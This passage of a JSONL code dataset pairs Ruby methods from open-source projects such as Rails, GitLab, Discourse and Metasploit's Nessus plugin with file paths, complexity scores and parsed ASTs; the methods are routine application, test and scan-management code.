inputs=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inputs\"]},\"inspect\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"host\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inputs\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"host\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inputs\"]},\"[]\",{\"type\":\"str\",\"children\":[\"host\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"port\",{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inputs\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"port\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inputs\"]},\"[]\",{\"type\":\"str\",\"children\":[\"port\"]}]}]},{\"type\":\"int\",\"children\":[162]}]}]},{\"type\":\"lvasgn\",\"children\":[\"uptime\",{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inputs\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sysuptime\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inputs\"]},\"[]\",{\"type\":\"str\",\"children\":[\"sysuptime\"]}]}]},{\"type\":\"send\",\"children\":[null,\"system_uptime\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"trap_oid\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inputs\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"trap_oid\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inputs\"]},\"[]\",{\"type\":\"str\",\"children\":[\"trap_oid\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"trap_oid\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqException\"]},\"Error\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"MiqSnmp.trap_v2: Ensure that a trap object id is provided\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"trap_oid\",{\"type\":\"send\",\"children\":[null,\"subst_oid\",{\"type\":\"lvar\",\"children\":[\"trap_oid\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"object_list\",{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inputs\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"object_list\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inputs\"]},\"[]\",{\"type\":\"str\",\"children\":[\"object_list\"]}]}]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"vars\",{\"type\":\"send\",\"children\":[null,\"create_var_bind_list\",{\"type\":\"lvar\",\"children\":[\"object_list\"]},{\"type\":\"lvar\",\"children\":[\"trap_oid\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"hosts\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"lvar\",\"children\":[\"host\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hosts\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"lhost\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sending SNMP Trap (v2) to host=[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lhost\"]}]},{\"type\":\"str\",\"children\":[\"], port=[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"port\"]}]},{\"type\":\"str\",\"children\":[\"], trap_oid=[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"trap_oid\"]}]},{\"type\":\"str\",\"children\":[\"], vars=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vars\"]},\"inspect\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SNMP\"]},\"Manager\"]},\"open\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"Host\"]},{\"type\":\"lvar\",\"children\":[\"lhost\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"TrapPort\"]},{\"type\":\"lvar\",\"children\":[\"port\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"manager\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"manager\"]},\"trap_v2\",{\"type\":\"lvar\",\"children\":[\"uptime\"]},{\"type\":\"lvar\",\"children\":[\"trap_oid\"]},{\"type\":\"lvar\",\"children\":[\"vars\"]}]}]}]}]}]}]}","id":"f1f8c4d9-e6ed-471f-845f-0890a43fcd05"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/app/controllers/discourse_post_event/discourse_post_event_controller.rb","start_line":10,"raw_source":"def ensure_discourse_post_event_enabled\n      raise Discourse::NotFound if !SiteSetting.discourse_post_event_enabled\n    end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_discourse_post_event_enabled\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"discourse_post_event_enabled\"]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"NotFound\"]}]},null]}]}","id":"b3e274d6-997f-42cc-bf57-4dda56a2ea3e"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/concerns/account/mappings.rb","start_line":24,"raw_source":"def blocking_map(target_account_ids, account_id)\n      build_mapping(\n        Block.where(target_account_id: target_account_ids, account_id: account_id),\n        :target_account_id\n      )\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"blocking_map\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"target_account_ids\"]},{\"type\":\"arg\",\"children\":[\"account_id\"]}]},{\"type\":\"send\",\"children\":[null,\"build_mapping\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Block\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_account_id\"]},{\"type\":\"lvar\",\"children\":[\"target_account_ids\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account_id\"]},{\"type\":\"lvar\",\"children\":[\"account_id\"]}]}]}]},{\"type\":\"sym\",\"children\":[\"target_account_id\"]}]}]}","id":"01aac065-02c2-4b0a-8fa6-6a5e99563230"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb","start_line":330,"raw_source":"def migrations_paths # :nodoc:\n        db_config.migrations_paths || Migrator.migrations_paths\n      end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"migrations_paths\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"db_config\"]},\"migrations_paths\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Migrator\"]},\"migrations_paths\"]}]}]}","id":"bb07f583-9c70-45d0-aa8f-b7d18311b1d2"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_helper_test.rb","start_line":1937,"raw_source":"def test_form_for_field_name_with_method_names_and_index\n    form_for(Post.new, index: 1) do |form|\n      concat form.text_field(:title, name: form.field_name(:title, :subtitle))\n    end\n\n    expected = whole_form(\"/posts\", \"new_post\", \"new_post\") do\n      %(<input id=\"post_1_title\" name=\"post[1][title][subtitle]\" type=\"text\">)\n    end\n\n    assert_dom_equal expected, @rendered\n  end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_form_for_field_name_with_method_names_and_index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"form_for\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"new\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"form\"]}]},{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"form\"]},\"text_field\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"form\"]},\"field_name\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"sym\",\"children\":[\"subtitle\"]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"whole_form\",{\"type\":\"str\",\"children\":[\"/posts\"]},{\"type\":\"str\",\"children\":[\"new_post\"]},{\"type\":\"str\",\"children\":[\"new_post\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"<input id=\\\"post_1_title\\\" name=\\\"post[1][title][subtitle]\\\" type=\\\"text\\\">\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"ivar\",\"children\":[\"@rendered\"]}]}]}]}","id":"1191deed-ca99-49cd-8e79-b383ebb341b0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/gems/gitlab-orchestrator/lib/gitlab/orchestrator/lib/instance/installation.rb","start_line":30,"raw_source":"def create\n          log(\"Creating docker container instance '#{name}'\", :info, bright: true)\n          run_pre_install_setup\n          run_install\n          run_post_install_setup\n\n          log(\"Installation successful and GitLab is available via: #{configuration.gitlab_url}\", :success,\n            bright: true)\n        rescue Gitlab::Orchestrator::Docker::Error\n          exit(1)\n        end","complexity_score":12.83,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Creating docker container instance '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]},{\"type\":\"sym\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bright\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"run_pre_install_setup\"]},{\"type\":\"send\",\"children\":[null,\"run_install\"]},{\"type\":\"send\",\"children\":[null,\"run_post_install_setup\"]},{\"type\":\"send\",\"children\":[null,\"log\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Installation successful and GitLab is available via: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"configuration\"]},\"gitlab_url\"]}]}]},{\"type\":\"sym\",\"children\":[\"success\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bright\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Orchestrator\"]},\"Docker\"]},\"Error\"]}]},null,{\"type\":\"send\",\"children\":[null,\"exit\",{\"type\":\"int\",\"children\":[1]}]}]},null]}]}","id":"a7b367cd-ec95-4040-838d-e23922298b24"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/open_graph.rb","start_line":93,"raw_source":"def group(data)\n    data.each_with_object({}) do |(key, value), hash|\n      group_key = key.split(\":\").first\n      hash[group_key] ||= {}\n      hash[group_key][key] = value\n    end\n  end","complexity_score":11.5,"ast_json":"{\"type\":\"def\",\"children\":[\"group\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"each_with_object\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"arg\",\"children\":[\"hash\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"group_key\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"split\",{\"type\":\"str\",\"children\":[\":\"]}]},\"first\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"group_key\"]}]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"group_key\"]}]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}","id":"eb630e97-b6a4-4c3e-bfb5-2b9230a612d4"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/app/workers/cost_query/pdf/export_timesheet_job.rb","start_line":50,"raw_source":"def prepare!\n    CostQuery::Cache.check\n    self.query = CostQuery.build_query(project, query)\n    query.name = options[:query_name]\n  end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"prepare!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CostQuery\"]},\"Cache\"]},\"check\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"query=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CostQuery\"]},\"build_query\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"query\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query\"]},\"name=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"query_name\"]}]}]}]}]}","id":"228a6c76-02d5-41e6-b275-fb460a9e6490"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/utils/usage_data.rb","start_line":307,"raw_source":"def redis_usage_counter\n        yield\n      rescue ::Redis::CommandError, Gitlab::UsageDataCounters::BaseCounter::UnknownEvent, Gitlab::UsageDataCounters::HLLRedisCounter::EventError => error\n        Gitlab::ErrorTracking.track_and_raise_for_dev_exception(error)\n        FALLBACK\n      end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"redis_usage_counter\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"yield\",\"children\":[]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Redis\"]},\"CommandError\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"UsageDataCounters\"]},\"BaseCounter\"]},\"UnknownEvent\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"UsageDataCounters\"]},\"HLLRedisCounter\"]},\"EventError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"error\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ErrorTracking\"]},\"track_and_raise_for_dev_exception\",{\"type\":\"lvar\",\"children\":[\"error\"]}]},{\"type\":\"const\",\"children\":[null,\"FALLBACK\"]}]}]},null]}]}","id":"1dcfa0f2-875e-4123-b922-22a09387a214"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-chat-integration/lib/discourse_chat_integration/provider.rb","start_line":34,"raw_source":"def self.is_enabled(provider)\n      provider = get_by_name(provider) if provider.is_a?(String)\n\n      if defined?(provider::PROVIDER_ENABLED_SETTING)\n        SiteSetting.public_send(provider::PROVIDER_ENABLED_SETTING)\n      else\n        false\n      end\n    end","complexity_score":6.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"is_enabled\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"provider\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"provider\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},{\"type\":\"lvasgn\",\"children\":[\"provider\",{\"type\":\"send\",\"children\":[null,\"get_by_name\",{\"type\":\"lvar\",\"children\":[\"provider\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"lvar\",\"children\":[\"provider\"]},\"PROVIDER_ENABLED_SETTING\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"public_send\",{\"type\":\"const\",\"children\":[{\"type\":\"lvar\",\"children\":[\"provider\"]},\"PROVIDER_ENABLED_SETTING\"]}]},{\"type\":\"false\",\"children\":[]}]}]}]}","id":"4d712a13-69ca-469a-a9b7-734f2e2583da"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/plugins/nessus.rb","start_line":1231,"raw_source":"def cmd_nessus_scan_pause_all(*args)\n        scan_ids = Array.new\n        if args[0] == '-h'\n          print_status('nessus_scan_pause_all')\n          print_status('Example:> nessus_scan_pause_all')\n          print_status('Pauses all currently running scans')\n          print_status('Use nessus_scan_list to list all running scans')\n          return\n        end\n        if !nessus_verify_token\n          return\n        end\n\n        list = @n.scan_list\n        list['scans'].each do |scan|\n          if scan['status'] == 'running'\n            scan_ids << scan['id']\n          end\n        end\n        if !scan_ids.empty?\n          scan_ids.each do |scan_id|\n            @n.scan_pause(scan_id)\n          end\n          print_status('All scans have been paused')\n        else\n          print_error('No running scans')\n        end\n      end","complexity_score":33.7,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_nessus_scan_pause_all\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"scan_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"new\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"==\",{\"type\":\"str\",\"children\":[\"-h\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"nessus_scan_pause_all\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Example:> nessus_scan_pause_all\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Pauses all currently running scans\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Use nessus_scan_list to list all running scans\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"nessus_verify_token\"]},\"!\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"list\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@n\"]},\"scan_list\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list\"]},\"[]\",{\"type\":\"str\",\"children\":[\"scans\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"scan\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scan\"]},\"[]\",{\"type\":\"str\",\"children\":[\"status\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"running\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scan_ids\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scan\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scan_ids\"]},\"empty?\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scan_ids\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"scan_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@n\"]},\"scan_pause\",{\"type\":\"lvar\",\"children\":[\"scan_id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"All scans have been paused\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"No running scans\"]}]}]}]}]}","id":"8d93c8d8-3365-4ed2-8b6b-e69e13a9e623"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/calculations_test.rb","start_line":985,"raw_source":"def test_pluck_with_qualified_column_name\n    assert_equal [1, 2, 3, 4, 5], Topic.order(:id).pluck(\"topics.id\")\n  end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_pluck_with_qualified_column_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"order\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"pluck\",{\"type\":\"str\",\"children\":[\"topics.id\"]}]}]}]}","id":"ef55f248-dafd-4b13-b3ef-ea38c66c9671"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/gitlab/documentation_links/link.rb","start_line":104,"raw_source":"def check_md_extension(node, path)\n            path_without_anchor = path.gsub(%r{#.*$}, '')\n\n            unless path_has_md_extension?(path_without_anchor)\n              add_offense(node, message: format(MSG_PATH_NEEDS_MD_EXTENSION, path: path)) do |corrector|\n                extension_pattern = /(\\.[\\da-zA-Z]+)?/\n                path_without_extension = path_without_anchor.gsub(/#{extension_pattern}$/, '')\n                arg_with_md_extension = path.gsub(/#{path_without_extension}#{extension_pattern}(\\#.+)?$/,\n                  \"#{path_without_extension}.md\\\\2\")\n                corrector.replace(node.first_argument, \"'#{arg_with_md_extension}'\")\n              end\n              path_without_anchor += \".md\"\n            end\n\n            path_without_anchor\n          end","complexity_score":20.2,"ast_json":"{\"type\":\"def\",\"children\":[\"check_md_extension\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]},{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path_without_anchor\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"#.*$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"path_has_md_extension?\",{\"type\":\"lvar\",\"children\":[\"path_without_anchor\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"const\",\"children\":[null,\"MSG_PATH_NEEDS_MD_EXTENSION\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"extension_pattern\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(\\\\.[\\\\da-zA-Z]+)?\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"path_without_extension\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path_without_anchor\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extension_pattern\"]}]},{\"type\":\"str\",\"children\":[\"$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"arg_with_md_extension\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path_without_extension\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extension_pattern\"]}]},{\"type\":\"str\",\"children\":[\"(\\\\#.+)?$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path_without_extension\"]}]},{\"type\":\"str\",\"children\":[\".md\\\\2\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"first_argument\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"'\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg_with_md_extension\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path_without_anchor\"]},\"+\",{\"type\":\"str\",\"children\":[\".md\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"path_without_anchor\"]}]}]}","id":"79731968-d9f5-48df-bdad-6e11f9a400b5"}
